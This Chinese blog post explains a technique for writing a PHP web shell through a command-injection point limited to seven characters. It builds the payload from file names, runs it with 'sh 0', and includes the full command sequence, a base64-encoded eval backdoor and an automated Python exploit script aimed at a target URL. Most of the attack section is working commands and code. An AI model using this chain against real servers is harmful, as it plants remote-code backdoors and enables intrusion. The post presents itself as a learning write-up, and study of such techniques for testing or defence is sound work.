我是靠谱客的博主 缓慢水池,这篇文章主要介绍可控字符串长度受限情况下GetShell思路分析利用案例EXP,现在分享给大家,希望可以做个参考。

可控字符串长度受限情况下GetShell

  • 思路分析
  • 利用案例
  • EXP

环境:命令执行只允许输入七个字符,尝试写入webshell

思路分析

  通过创建特殊的文件名(含有php代码),创建完后使用ls命令:ls>0 (把当前目录下所有的文件名写入到文件0中)。
  shell命令太长,受长度限制,可以使用 “” 来分割,实现换行输入,最后写入到一个新的文件,然后执行:sh 0。文件0 执行后产生 1.php 就是写入的php马。
在这里插入图片描述
注:要考虑写入的先后顺序问题,使用ls可以加上-t参数来排序(最新创建的在最前面)默认按照数字在前,字母顺序排列 ;webshell最好采用base64编码,避免一些特殊字符转义问题。

利用案例

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 加两个反斜杠是为了转义后面那个反斜杠 w>hp w>1.p w>d> w> - w>e64 w>bas w>7| w>XSk w>Fsx w>dFV w>kX0 w>bCg w>XZh w>AgZ w>waH w>PD9 w>o w>ech ls -t>0 # 按照时间排序,最后创建的在最前面 sh 0

在这里插入图片描述

复制代码
1
2
3
4
# 文件0 中的内容 echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php # 执行:sh 0,即可生成 1.php

EXP

  由于命令较多,手工测试较为麻烦,直接写个脚本

复制代码
1
2
3
4
5
6
7
8
9
10
11
import requests url1 = "http://IP/index.php?shell=" with open("command.txt", "r") as f: for i in f: url = url1 + i.strip() requests.get(url) # print "已经请求%S" % url res = requests.get("http://IP/1.php") if res.status_code: print 'ok'

最后

以上就是缓慢水池最近收集整理的关于可控字符串长度受限情况下GetShell思路分析利用案例EXP的全部内容,更多相关可控字符串长度受限情况下GetShell思路分析利用案例EXP内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(81)

评论列表共有 0 条评论

立即
投稿
返回
顶部